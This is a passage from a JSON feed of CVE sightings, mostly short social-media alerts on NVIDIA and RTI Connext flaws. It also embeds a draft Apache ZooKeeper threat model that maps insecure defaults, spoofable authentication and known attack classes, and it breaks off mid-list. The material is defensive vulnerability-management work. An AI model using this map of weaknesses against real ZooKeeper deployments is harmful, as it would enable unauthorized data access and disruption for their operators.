#security #patchstack", "creation_timestamp": "2026-06-16T19:00:34.882074Z"}, {"uuid": "1b27a18d-da04-431b-81c9-700875c2a300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24228", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mogibms44f2a", "content": "\ud83d\udfe0 CVE-2026-24228 - High (7.8)\n\nNVIDIA NeMo Framework for Linux contains a vulnerability where an attacker may cause deserializat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24228/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-16T19:00:42.441127Z"}, {"uuid": "cca1ac02-2907-47af-a1fe-1a27ec4a951a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24720", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moibaup52w2j", "content": "\ud83d\udd17 CVE : CVE-2025-59382, CVE-2025-62851, CVE-2025-62858, CVE-2025-66273, CVE-2025-66279, CVE-2025-66280, CVE-2025-66281, CVE-2025-68405, CVE-2026-22893, CVE-2026-22899, CVE-2026-24720, CVE-2026-24724, CVE-2026-26236, CVE-2026-26237, CVE-2026-26239, CVE-2026-26240, CVE-2026-26241, CVE-2026-44083", "creation_timestamp": "2026-06-17T12:00:24.575226Z"}, {"uuid": "aeb06db6-36a8-45e2-96a3-dd155b52d773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24724", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moibaup52w2j", "content": "\ud83d\udd17 CVE : CVE-2025-59382, CVE-2025-62851, CVE-2025-62858, CVE-2025-66273, CVE-2025-66279, CVE-2025-66280, CVE-2025-66281, CVE-2025-68405, CVE-2026-22893, CVE-2026-22899, CVE-2026-24720, CVE-2026-24724, CVE-2026-26236, CVE-2026-26237, CVE-2026-26239, CVE-2026-26240, CVE-2026-26241, CVE-2026-44083", "creation_timestamp": "2026-06-17T12:00:24.728173Z"}, {"uuid": "0e3b3dd3-5406-4376-b6bd-0adc29176a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24791", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-wrr5-99h5-gq57", "content": "", "creation_timestamp": "2026-06-14T20:09:21.000000Z"}, {"uuid": "30467703-31ef-4615-b8d2-c7cad9c8d5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24142", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mojajkeljl2u", "content": "\ud83d\udea8 HIGH: CVE-2026-24142\n\nCVSS 6.3/10\n\n\ud83d\udccb WHAT IT IS:\nNVIDIA TRT-LLM for any platform contains a deserialization vulnerability   and unsafe serialized handle. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Tens", "creation_timestamp": "2026-06-17T21:19:56.575890Z"}, {"uuid": "7a4c1efe-8030-47c6-9922-c4f35dd287d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24206", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mojakrczmn2e", "content": "\ud83d\udea8 HIGH: CVE-2026-24206\n\nCVSS 7.3/10\n\n\ud83d\udccb WHAT IT IS:\nNVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an authentication bypass. A successful exploit of this vulnerability might lead to escalation of privileges, denial of service, or information disclosure.\n\n\ud83c\udfaf WHO'S", "creation_timestamp": "2026-06-17T21:20:37.352445Z"}, {"uuid": "15d7d75b-7c42-4bd9-9654-868e62358476", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24163", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mojas22f2x2t", "content": "\ud83d\udea8 HIGH: CVE-2026-24163\n\nCVSS 7.5/10\n\n\ud83d\udccb WHAT IT IS:\nNVIDIA TRT-LLM for any platform contains a vulnerability in RPC testing, where an attacker could  cause an unsafe deserialization. A successful exploit of this vulnerability might lead to code execution, denial of service, data tampering, and inform", "creation_timestamp": "2026-06-17T21:24:41.569314Z"}, {"uuid": "6902478c-7a2f-434a-98e2-a03f9f6d22cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2467", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojc3cnzk52v", "content": "CVE-2026-2467 - Heap-based Buffer Overflow vulnerability in RTI Connext Professional (Core Libraries) allows Overflow Variables and Tags.\nCVE ID : CVE-2026-2467\n \n Published : June 17, 2026, 5:17 p.m. | 2\u00a0hours, 12\u00a0minutes ago\n \n Description : Heap-based Buffer Overflow vulner...", "creation_timestamp": "2026-06-17T21:47:46.433329Z"}, {"uuid": "764ab25f-0494-47a5-9220-8eb27d9ea4a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2467", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mojtkio2py2s", "content": "ALERT: CRITICAL heap overflow in RTI Connext Professional (5.0.0 \u2013 7.4.0). Risk: code execution/DoS. No patch \u2014 check vendor for updates! https://radar.offseq.com/threat/cve-2026-2467-cwe-122-heap-based-buffer-overflow-i-3103978a721b1a1c #OffSeq #CVE20262467 #Security", "creation_timestamp": "2026-06-18T03:00:33.042227Z"}, {"uuid": "6150bf40-6b23-48ac-b300-8f1955d943e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2467", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mok45bg4xq2s", "content": "# \ud83d\udd12 Daily IT Security Digest \u2014 2026-06-18\n\n## 1. \ud83d\udea8 CRITICAL: CVE-2026-2467 in RTI Connext \u2014 Heap Buffer Overflow (CVSS 9.2)\nRTI Connext Professional (v5.0.0 \u2013 7.4.0) contains a heap-based buffer overflow vulnerability allowing RCE and DoS. No patch is available yet \u2014 monitor vendor updates", "creation_timestamp": "2026-06-18T05:34:10.552733Z"}, {"uuid": "da974eb5-4634-4008-9eff-4b41ebf6c114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2467", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mokymdfrlx2i", "content": "# \ud83d\udd12 Daily IT Security Digest \u2014 2026-06-18\n\n## 1. \ud83d\udea8 CRITICAL: CVE-2026-2467 in RTI Connext \u2014 Heap Buffer Overflow (CVSS 9.2)\nRTI Connext Professional (v5.0.0 \u2013 7.4.0) contains a heap-based buffer overflow vulnerability allowing RCE and DoS. No patch is available yet \u2014 monitor", "creation_timestamp": "2026-06-18T14:03:40.377873Z"}, {"uuid": "49318501-b59b-4d8b-b98d-a811f90a8924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24281", "type": "seen", "source": "https://gist.github.com/ppkarwasz/f5be1b5c0182fe665252101c5f24d39f", "content": "# Apache ZooKeeper \u2014 Threat Model\n\n> Produced with the `threat-model-producer` skill\n> ().\n> This is the implicit contract between ZooKeeper and its downstream\n> operators/integrators: what is in scope, what is out, what the project\n> claims, and what it disclaims. It is **not** an audit, a CVE list, or a\n> secure-coding guide.\n\n## \u00a71 Header\n\n- **Project**: Apache ZooKeeper (server + Java client + Jute serialization).\n- **Version / commit**: `3.10.0-SNAPSHOT`, commit `9b535738d` (branch `fix/4820_change_logback_scope`).\n- **Date**: 2026-06-18.\n- **Author(s)**: Draft generated for maintainer review. Not yet ratified.\n- **Status**: **DRAFT \u2014 not yet reviewed by the ZooKeeper PMC.** Heavily `(inferred)`; treat \u00a78/\u00a79 boundaries as proposals until confirmed.\n- **Version binding**: A report against ZooKeeper version *N* is triaged against this model as it stood at *N*, not at HEAD. Defaults change between minor releases (e.g. `fips-mode` flipped default between 3.8.x and 3.9.0); always read the row for the reported version.\n- **Reporting cross-reference**: Findings that violate a \u00a78 claimed property should be reported privately to `security@zookeeper.apache.org` per  *(documented)*. Findings that fall under \u00a73 (out of scope) or \u00a79 (disclaimed) will be closed citing this document.\n- **Provenance legend**:\n  - *(documented)* \u2014 stated in ZooKeeper's own docs (Admin/Programmer guides, Reconfig guide, security page) or directly in code. Cited.\n  - *(maintainer)* \u2014 stated by a maintainer in response to this process. **None yet** (draft-first).\n  - *(inferred)* \u2014 reasoned from code structure or domain knowledge; has a matching \u00a714 open question.\n- **Draft confidence**: ~58 documented / 0 maintainer / ~22 inferred. This is a public-artifact draft; the `(inferred)` claims in \u00a73, \u00a75, \u00a77, \u00a79 are the priority confirmation targets.\n- **What ZooKeeper is**: A distributed coordination service. A small ensemble of servers (typically 3/5/7) replicates a hierarchical key/value namespace (the \"data tree\" of *znodes*) using the ZAB atomic-broadcast protocol, and serves reads, writes, watches, and ephemeral/sequential nodes to many client applications. It is the coordination backbone for systems like Kafka, HBase, and Solr \u2014 used for leader election, configuration, locks, and membership. It is a stateful network service, not an in-process library.\n\n## \u00a72 Scope and intended use\n\n- **Primary intended use**: An in-datacenter, operator-deployed coordination ensemble accessed by trusted application processes over a low-latency network. Concrete uses: configuration storage, distributed locks, leader election, group membership, service discovery.\n- **Deployment context**: Long-running server (`QuorumPeerMain` / `ZooKeeperServerMain`) plus an embedded Java client library. *(documented: zookeeperAdmin.md, zookeeperOver.md)*\n- **Caller roles** (a network service has no single \"caller\"):\n  - **Client application** \u2014 connects on the client port, holds sessions, reads/writes znodes. Authenticated only if the operator opts in (see \u00a76/\u00a77). *(documented)*\n  - **Operator / admin** \u2014 runs the JVMs, owns `zoo.cfg`, JAAS, keystores, super-user credentials, the AdminServer, JMX. Fully trusted for the instance. *(documented)*\n  - **Peer server** \u2014 another ensemble member participating in ZAB / leader election. Authenticated only if quorum SASL or quorum TLS is enabled (off by default). *(documented: QuorumPeerConfig.java)*\n- **Component-family table**:\n\n  | Family | Representative entry point | Touches outside process? | In model? |\n  | --- | --- | --- | --- |\n  | Server core (data tree, ACL check, ZAB, sessions) | client port 2181; `ZooKeeperServer`, `PrepRequestProcessor`, `DataTree` | network, disk (snapshots/txn log) | **In** |\n  | Quorum / leader election | ports 2888/3888; `QuorumPeer` | network, disk | **In** |\n  | Java client library | `ZooKeeper`, `ClientCnxn` | network | **In** |\n  | AdminServer (embedded Jetty) | HTTP 8080 `/commands/*` | network | **In** |\n  | Four-letter-words (4lw) | client port, telnet/nc | network | **In** |\n  | Jute serialization | `BinaryInputArchive` (wire decode) | \u2014 | **In** |\n  | Dynamic reconfig | `reconfig` API, `/zookeeper/config` | network | **In** |\n  | C/C++ client + C CLI (`cli_st`) | native lib | network | In (C client), see \u00a73 for CLI |\n  | `zookeeper-contrib/*` (REST, zooinspector, perl/python, zkfuse, \u2026) | varies | varies | **Out** \u2014 \u00a73 |\n  | `zookeeper-recipes/*` (locks, queues, election) | sample code | network | **Out** \u2014 \u00a73 |\n  | `zookeeper-specifications` (TLA+) | \u2014 | \u2014 | Out (formal spec, not shipped code) |\n\n  Anything marked **Out** reappears in \u00a73 with the reason.\n\n## \u00a73 Out of scope (explicit non-goals)\n\n- **Not a public-internet service.** \"A ZooKeeper ensemble is expected to operate in a trusted computing environment. It is thus recommended deploying ZooKeeper behind a firewall.\" *(documented: zookeeperAdmin.md \"Publicly accessible deployment\")* Threats that exist only because the ensemble was exposed to the open internet against this guidance are operator misconfiguration, not server vulnerabilities \u2014 but see \u00a714, this boundary needs a sharp ruling.\n- **Not an attempt to defend against a malicious in-process caller of the Java client.** A caller already inside the client JVM has the credentials and can do anything the session can; not a meaningful adversary at this layer. *(inferred)*\n- **No notion of znode ownership.** \"ZooKeeper does not have a notion of an owner of a znode.\" *(documented: zookeeperProgrammers.md)*\n- **ACLs are not recursive / not inherited.** An ACL pertains only to a specific znode, not its children. *(documented: zookeeperProgrammers.md)* This is design, not a bug (see \u00a79 false friends).\n- **Shipped-but-unsupported code, modelled separately or not at all:**\n  - `zookeeper-contrib/*` (REST gateway, ZooInspector, perl/python/C bindings, zkfuse, zktreeutil, loggraph, monitoring): separately authored, not part of the core security guarantee. A finding here is `OUT-OF-MODEL: unsupported-component` unless the PMC says otherwise. *(inferred \u2014 \u00a714)*\n  - `zookeeper-recipes/*`: reference implementations / sample code. *(inferred \u2014 \u00a714)*\n  - The C CLI shell (`cli_st`) is an operator tool, not a server surface; historically a buffer-overflow site (CVE-2016-5017). Whether the C client *library* is in core scope vs. the *CLI* being a tool needs a ruling. *(inferred \u2014 \u00a714)*\n- **Build/release/SDLC hygiene** (action pinning, signing, dependency freshness) is out per the skill's \u00a71.\n\n## \u00a74 Trust boundaries and data flow\n\n- **Primary trust boundary = the client port and the quorum port.** Bytes arriving on either are untrusted wire input and are decoded by Jute before any ACL logic runs.\n- **The data tree is the protected asset.** Access to a znode is mediated by `ZooKeeperServer.checkACL` *(code)*. Once a request passes the ACL check (or the node has a null/empty ACL, which short-circuits to *allow*), the operation executes. *(code: `ZooKeeperServer.java` checkACL)*\n- **Trust transitions:**\n  - Wire bytes \u2192 Jute decode (request-size bounded by `jute.maxbuffer`, default `0xfffff` \u2248 1 MB) \u2192 request object. *(code: `BinaryInputArchive.java`)*\n  - Request \u2192 session auth context (the set of `Id`s the connection has accumulated via `addAuthInfo` / SASL handshake / TLS cert).\n  - Request + auth context \u2192 `checkACL` against the **target node's own ACL** (for create/delete, against the **parent's** ACL). No walk up the tree. *(code: `PrepRequestProcessor.java`)*\n- **Reachability preconditions per family** (the test a triager applies before anything else):\n  - Server-core finding: in-model only if reachable from a request a client can actually send on the client port given the configured auth posture.\n  - Quorum finding: in-model only if reachable from a peer on the quorum port \u2014 and only `VALID` if quorum auth is *enabled* (else it requires an attacker already on the quorum network, see \u00a77).\n  - AdminServer finding: in-model only if reachable via HTTP on the admin port.\n  - Jute finding: in-model only if reachable from attacker-supplied wire bytes within the `jute.maxbuffer` bound.\n\n## \u00a75 Assumptions about the environment\n\n- **Network**: A trusted, firewalled datacenter network. Client, quorum, election, admin, and JMX ports are assumed reachable only by intended parties. *(documented: Admin guide deployment section)*\n- **Quorum integrity**: A strict majority of configured servers are honest and available; ZAB safety/liveness assume crash-fault (not Byzantine) peers. *(inferred \u2014 classic ZAB assumption \u2014 \u00a714)*\n- **Disk / persistence**: The snapshot directory and transaction log are on storage the operator controls and trusts; on-disk data is **not encrypted by ZooKeeper** and snapshots/txn logs contain znode data (including digest ACL hashes) in the clear. *(inferred \u2014 \u00a714)*\n- **Clock**: Session expiry and leader-election timeouts rely on reasonably synchronized, monotonic-enough clocks; `tickTime` drives liveness. *(documented: tickTime in Admin guide; inferred for the security implication)*\n- **JVM / runtime**: A conformant JRE. `fips-mode` (`zookeeper.fips-mode`) default **true** on 3.9.0+, **false** on 3.8.x; when enabled the custom `ZKTrustManager` is disabled, so **quorum hostname verification is not available** (client-server still is). *(documented: zookeeperAdmin.md)*\n- **What ZooKeeper does to / does not do to its host** (mostly negative claims, hence mostly `(inferred)` \u2014 high-priority \u00a714 confirmation targets):\n  - It *does* open listening sockets (client, quorum, election, admin HTTP, optional JMX/metrics), read `zoo.cfg` and system properties, read JAAS config and keystores, and write snapshots/txn logs to disk. *(documented/code)*\n  - It honors a number of `zookeeper.*` **system properties** that change the security envelope at JVM start (`skipACL`, `superUser`, `4lw.commands.whitelist`, `ssl.*`, etc.) \u2014 the security posture is partly a function of the JVM command line, not just `zoo.cfg`. *(documented)*\n  - It does *not* spawn child processes or shell out as part of request handling. *(inferred \u2014 \u00a714)*\n  - The `ip` scheme over the AdminServer HTTP path honors a client-supplied `X-Forwarded-For` header. *(code: `IPAuthenticationProvider`)* \u2014 this is the root of CVE-2024-51504.\n\n## \u00a75a Build-time and configuration variants (the security envelope is a function of config)\n\nZooKeeper is really a *family* of deployment postures. The knobs below change which \u00a78 properties hold. Most ship in the **less-secure default**, which is the central tension this model must resolve with the PMC (\u00a714).\n\n| Knob | Default | Effect on model | Maintainer stance |\n| --- | --- | --- | --- |\n| `zookeeper.skipACL` | `no` | `yes` disables **all** ACL checks \u2192 full data-tree access for any client; also unauthenticated `reconfig`. *(documented)* | dev-only? \u00a714 |\n| Client authentication (`OPEN_ACL_UNSAFE` nodes, no auth provider) | open | With no ACLs/auth, any client reads/writes any node. *(code/docs)* | \u00a714 |\n| `zookeeper.sessionRequireClientSASLAuth` | `false` | `true` rejects non-SASL-authenticated clients. *(documented)* | \u00a714 |\n| `zookeeper.enforce.auth.enabled` + `enforce.auth.schemes` | `false` | `true` requires the listed auth schemes per session. *(documented)* | \u00a714 |\n| `sslQuorum` (`zookeeper.sslQuorum`) | `false` | quorum + election traffic plaintext & unauthenticated unless on. *(documented)* | \u00a714 |\n| `quorum.auth.serverRequireSasl` / `learnerRequireSasl` / `enableSasl` | `false` | quorum SASL off; peers unauthenticated. *(code: QuorumPeerConfig)* | \u00a714 |\n| `secureClientPort` / client TLS | unset | client traffic plaintext unless configured. *(documented)* | \u00a714 |\n| `ssl.clientAuth` / `ssl.quorum.clientAuth` | `need` | when TLS *is* on, client cert is required (good default). *(documented)* | \u2014 |\n| `ssl.hostnameVerification` / `ssl.quorum.hostnameVerification` | `true` | disabling enables MITM; \"only recommended for testing.\" *(documented)* | \u2014 |\n| `reconfigEnabled` | `false` | `true` allows runtime membership change via API. *(documented)* | \u00a714 |\n| `4lw.commands.whitelist` | only `srvr` (+`isro` if RO mode) | wildcard `*` exposes all 4lw incl. info-disclosing/expensive ones. *(documented/code)* | \u2014 |\n| `admin.enableServer` | `true` | embedded Jetty AdminServer on `0.0.0.0:8080`, most commands unauthenticated. *(documented/code)* | \u00a714 |\n| `admin.needClientAuth` / `admin.forceHttps` / `admin.portUnification` | `false` | admin HTTP is plaintext, no client auth, unless set. *(documented)* | \u00a714 |\n| `zookeeper.DigestAuthenticationProvider.digestAlg` | `SHA1` | unsalted; \"will be deprecated for security issues.\" *(documented)* | \u2014 |\n| `fips-mode` | `true` (3.9+) / `false` (3.8) | when true, disables `ZKTrustManager` \u2192 no quorum hostname verification. *(documented)* | \u2014 |\n\n**Insecure-default ruling needed (wave 1, \u00a714):** for every row marked \"\u00a714\", the model is ambiguous until the PMC rules whether the default *is* the supported production posture (report against it = `VALID`) or a dev-convenience operators must flip (= `OUT-OF-MODEL: non-default-build`, and the requirement moves to \u00a710).\n\n## \u00a76 Assumptions about inputs\n\nZooKeeper accepts: (a) client requests on the client port, (b) quorum/election messages on the quorum ports, (c) HTTP requests on the AdminServer, (d) 4lw strings on the client port, (e) `zoo.cfg` / dynamic config / system properties from the operator (trusted).\n\n**Per-parameter trust table** (route/message-oriented, as for a network service):\n\n| Surface / message | Parameter | Attacker-controllable? | Caller/operator must enforce |\n| --- | --- | --- | --- |\n| Client request (any op) | request bytes / path / data | **yes** (untrusted client) | size \u2264 `jute.maxbuffer`; ACLs on nodes; enable auth if clients are untrusted |\n| `create` / `setData` | znode `data` blob | **yes** | quota (`setquota`); znode size; ACL on parent |\n| `create`/`setACL` | ACL list | **yes** | meaningful (non-`OPEN_ACL_UNSAFE`) ACLs if multi-tenant |\n| `getChildren` / watches | path, watch registration | **yes** | READ perm on node (note CVE-2024-23944 persistent-watcher leak) |\n| `addAuthInfo` (digest) | `user:password` | **yes** | sent **cleartext** \u2192 use only over TLS/localhost *(documented)* |\n| `ip` scheme | source IP | **spoofable** (and `X-Forwarded-For` on HTTP path) | network-level controls; do not rely on `ip` across untrusted nets |\n| Quorum / election message | peer wire bytes | **yes if quorum net is reachable** | enable quorum SASL/TLS; firewall quorum ports |\n| AdminServer | HTTP path `/commands/`, headers | **yes if admin port reachable** | restrict admin port; `needClientAuth`+TLS for x509 |\n| 4lw | 4-char command string | **yes if whitelisted** | keep whitelist minimal; firewall |\n| `zoo.cfg`, JAAS, keystores, `zookeeper.*` sysprops | all | **no \u2014 operator-trusted** | protect these files / JVM args |\n\n- **Size / shape**: A single request/response is bounded by `jute.maxbuffer` (default ~1 MB; `BinaryInputArchive.maxBuffer`), with `zookeeper.jute.maxbuffer.extrasize` slack. *(code)* `maxClientCnxns` default 60 per IP; `maxCnxns` default 0 (unlimited). *(documented)*\n\n## \u00a77 Adversary model\n\n- **In-scope adversary: the unauthenticated/low-privilege network client** that can reach the client port. Capabilities: open sessions, send arbitrary (size-bounded) requests, register watches, run whitelisted 4lw, attempt auth. Goals: read/modify data it should not, exhaust resources, crash a server, leak session/config info. *(inferred \u2014 \u00a714)*\n- **In-scope adversary: HTTP client reaching the AdminServer** \u2014 can invoke unauthenticated commands (info disclosure) and, where snapshot/restore auth is weak, more. *(documented via CVE-2025-58457 / CVE-2024-51504 patterns)*\n- **Authenticated-but-Byzantine peer** *(distributed-system actor)*: a server that holds a legitimate quorum identity, passes the handshake, then behaves arbitrarily. ZAB tolerates **crash faults** of a minority, **not Byzantine faults.** Safety holds while a strict majority are honest and available; with `> n/2` faulty/colluding peers, the model breaks. The complement (`\u2265` majority Byzantine, or a forged-identity peer when quorum auth is off) is **out of scope** \u2192 \u00a73. *(inferred \u2014 \u00a714; this threshold must be stated by the PMC)*\n- **Out of scope:**\n  - An attacker with operator privileges (owns `zoo.cfg`, JAAS, keystores, disk, JVM args). They have already won. *(inferred \u2014 \u00a714)*\n  - An attacker already on the quorum/election network when quorum auth is *off* \u2014 this is the documented \"trusted network\" assumption (\u00a75); such an attacker can impersonate a peer. A report requiring this is `OUT-OF-MODEL: adversary-not-in-scope` **only if** the PMC affirms quorum-off is a supported posture (else it is `VALID`). *(inferred \u2014 \u00a714)*\n  - Side-channel / timing / co-tenant memory adversaries against the JVM. *(inferred \u2014 \u00a714)*\n  - On-disk attacker reading snapshots/txn logs (no at-rest encryption claim). *(inferred \u2014 \u00a714)*\n\n## \u00a78 Security properties the project provides\n\nEach property states: the property + conditions, violation symptom, severity tier, provenance. **All `(inferred)` here are proposals pending PMC confirmation (\u00a714).**\n\n1. **ACL-mediated access control on individual znodes.** *Conditions*: a non-trivial ACL is set on the node, the matching auth provider is configured, and `skipACL=no`. A request lacking the required permission is rejected with `NoAuth`. *Symptom of violation*: a client reads/writes a node without holding the required `Id`/permission. *Severity*: **security-critical** (auth bypass \u2192 CVE). *(documented/code: `checkACL`)*\n2. **Authentication via configured schemes** (`digest`, `sasl`/Kerberos, `x509`/mTLS). *Conditions*: provider enabled; for `digest`, channel confidentiality is the caller's job. *Symptom*: identity accepted that should not be (e.g. SASL quorum bypass = CVE-2023-44981). *Severity*: **security-critical**. *(documented/code)*\n3. **Optional transport confidentiality & integrity (TLS)** for client-server (`secureClientPort`) and quorum (`sslQuorum`), with hostname verification on by default and client-cert auth `need` by default *when TLS is enabled*. *Symptom*: plaintext exposure or accepted MITM cert (cf. CVE-2026-24281, CVE hostname-bypass). *Severity*: **security-critical** when TLS is configured and the guarantee is breached. *(documented)*\n4. **Replicated-state safety (linearizable writes, FIFO client order) under ZAB**, given a majority of honest, available, crash-only servers. *Symptom*: divergent state across replicas / lost or reordered committed writes / a fork. *Severity*: **security-critical** if reachable by an in-scope adversary; otherwise correctness. *(inferred \u2014 \u00a714; this is ZAB's documented design but the security framing needs PMC sign-off)*\n5. **Bounded per-request size.** Requests/responses exceeding `jute.maxbuffer` (default ~1 MB) are rejected at decode. *Symptom*: unbounded allocation from a single message. *Severity*: security-relevant DoS guard. *(code)*\n6. **Connection rate limiting per source IP** via `maxClientCnxns` (default 60). *Symptom*: single IP exhausts connection slots. *Severity*: partial DoS guard. *(documented)*\n7. **Quota accounting with optional hard enforcement.** Soft quota *warns only*; hard quota throws `QuotaExceededException`. *Symptom*: a tenant exceeds count/byte limits silently (soft) \u2014 by design. *Severity*: correctness / operational, not a memory-safety guarantee. *(documented: zookeeperQuotas.md)*\n8. **Audit logging** of mutating operations when enabled (`ZKAuditProvider`). *Symptom*: a mutating op leaves no audit trail when auditing is on. *Severity*: detective control, not preventive. *(code: `audit/`)*\n\n> Resource note: ZooKeeper makes **no general guarantee of bounded total memory or CPU under adversarial request mixes** beyond the per-request `jute.maxbuffer` cap and connection limits. The data tree is held **in memory**; aggregate size is bounded by quotas only if hard quotas are set. See \u00a79. *(inferred \u2014 \u00a714)*\n\n## \u00a79 Security properties the project does *NOT* provide\n\nThis is the highest-value section for an integrator. State plainly:\n\n- **No secure-by-default posture.** Out of the box, with `OPEN_ACL_UNSAFE` nodes and no auth provider, **any client that reaches the port can read and write the entire data tree.** Authentication and ACLs are **opt-in**. *(documented/code)*\n- **No on-the-wire encryption by default.** Client and quorum traffic are plaintext unless TLS is explicitly configured. `digest` credentials travel **in cleartext**. *(documented)*\n- **No quorum authentication by default.** Peer and leader-election traffic is unauthenticated unless quorum SASL or quorum TLS is enabled. *(documented/code)*\n- **No at-rest encryption.** Snapshots and transaction logs store znode data (and digest ACL hashes) unencrypted. *(inferred \u2014 \u00a714)*\n- **No Byzantine fault tolerance.** A malicious peer holding a valid identity, or a majority of faulty peers, can violate safety. *(inferred \u2014 \u00a714)*\n- **No defense against a malicious/over-privileged client beyond ACLs.** ZooKeeper will not protect node A from client B if B holds (or can spoof) the credentials A's ACL trusts.\n- **No general resource-exhaustion guarantee.** Watches, connections, and tree size driven by clients can pressure heap/CPU; only per-request size, per-IP connection count, and (opt-in) hard quotas bound this. Expensive 4lw (`wchc`/`wchp`/`dump`) and large watch sets are a known DoS vector (CVE-2017-5637). *(documented/inferred \u2014 \u00a714)*\n\n**False friends (features mistaken for security primitives):**\n\n- **`ip` authentication scheme** \u2014 looks like authentication; it is **source-IP matching**, trivially spoofable on an untrusted network, and over the AdminServer HTTP path it trusts a client-supplied `X-Forwarded-For` header. Not an authentication boundary across untrusted networks. *(code; CVE-2024-51504)*\n- **`digest` scheme** \u2014 looks like password auth; the password is sent **cleartext** and stored as an **unsalted SHA1** hash. Confidentiality is entirely the transport's job. *(documented)*\n- **ACLs are NOT recursive** \u2014 setting a restrictive ACL on `/app` does **not** protect `/app/status`; a world-readable child stays world-readable. An integrator who \"locks down a subtree\" by ACL-ing the root has not locked anything below it. *(documented)*\n- **`world:anyone`** \u2014 the conventional default `Id`; means *no* access control.\n- **Quotas are not a security boundary by default** \u2014 soft quota only logs; it does not stop a tenant from filling memory. *(documented)*\n- **The `auth` scheme** in `setACL` grants to *whatever the setter authenticated as*, not a named principal \u2014 easy to mis-reason about. *(documented)*\n\n**Well-known attack classes left to the operator/integrator** (one line each, integrator-on-notice):\n\n- **DoS via expensive operations / large watch sets / connection floods** \u2014 mitigate with whitelist, `maxClientCnxns`, quotas, firewalling.\n- **Information disclosure via 4lw and AdminServer** (`envi`, `conf`, `cons`, `dump`, `mntr`) \u2014 unauthenticated when reachable.\n- **MITM on plaintext channels** \u2014 mitigate with TLS + hostname verification.\n- **Credential theft on plaintext `digest`** \u2014 mitigate with TLS.\n- **Reconfig abuse** (adding a rogue server / removing quorum members) when `reconfigEnabled=true` and ACLs/auth are weak. *(documented: zookeeperReconfig.md)*\n\n## \u00a710 Downstream responsibilities (the operator's contract)\n\nFor ZooKeeper \"user\" = **operator/deployer**. To make the \u00a75\u2013\u00a77 assumptions hold:\n\n1. **Deploy inside a trusted, firewalled network.** Do not expose client (2181), quorum (2888), election (3888), admin (8080), JMX, or metrics ports to untrusted networks. *(documented)*\n2. **If clients are not fully trusted**, set meaningful ACLs (not `OPEN_ACL_UNSAFE`) **and** enable authentication (`sessionRequireClientSASLAuth` or `enforce.auth.*`). ACLs alone on `OPEN_ACL_UNSAFE` trees protect nothing.\n3. **Set ACLs on every sensitive node**, including children \u2014 ACLs do not inherit.\n4. **Use TLS** (`secureClientPort` / `sslQuorum`) whenever traffic crosses a link you do not fully trust; never disable hostname verification in production. Use `digest` only over TLS or localhost.\n5. **Enable quorum authentication** (quorum SASL and/or quorum TLS) \u2014 it is off by default.\n6. **Restrict the AdminServer**: disable it (`admin.enableServer=false`) if unused, or bind/firewall it and require client auth + HTTPS; assume most commands are unauthenticated otherwise.\n7. **Keep the 4lw whitelist minimal**; do not set `*` on an exposed instance.\n8. **Leave `skipACL=no`** in any environment where the client port is reachable by untrusted parties.\n9. **Protect `zoo.cfg`, JAAS files, keystores, super-user digests, and the snapshot/txn-log directory** at the OS level \u2014 these are the operator-trusted inputs and the unencrypted data at rest.\n10. **Guard `reconfigEnabled`** and the `/zookeeper/config` write ACL; keep reconfig off unless needed and authenticated.\n\n## \u00a711 Known misuse patterns\n\n- **Treating ZooKeeper as internet-facing.** Binding to a public interface with default config exposes the whole data tree. *What it looks like*: 2181 open to the world. *Why unsafe*: no auth by default. *Instead*: firewall + auth + TLS.\n- **`OPEN_ACL_UNSAFE` in 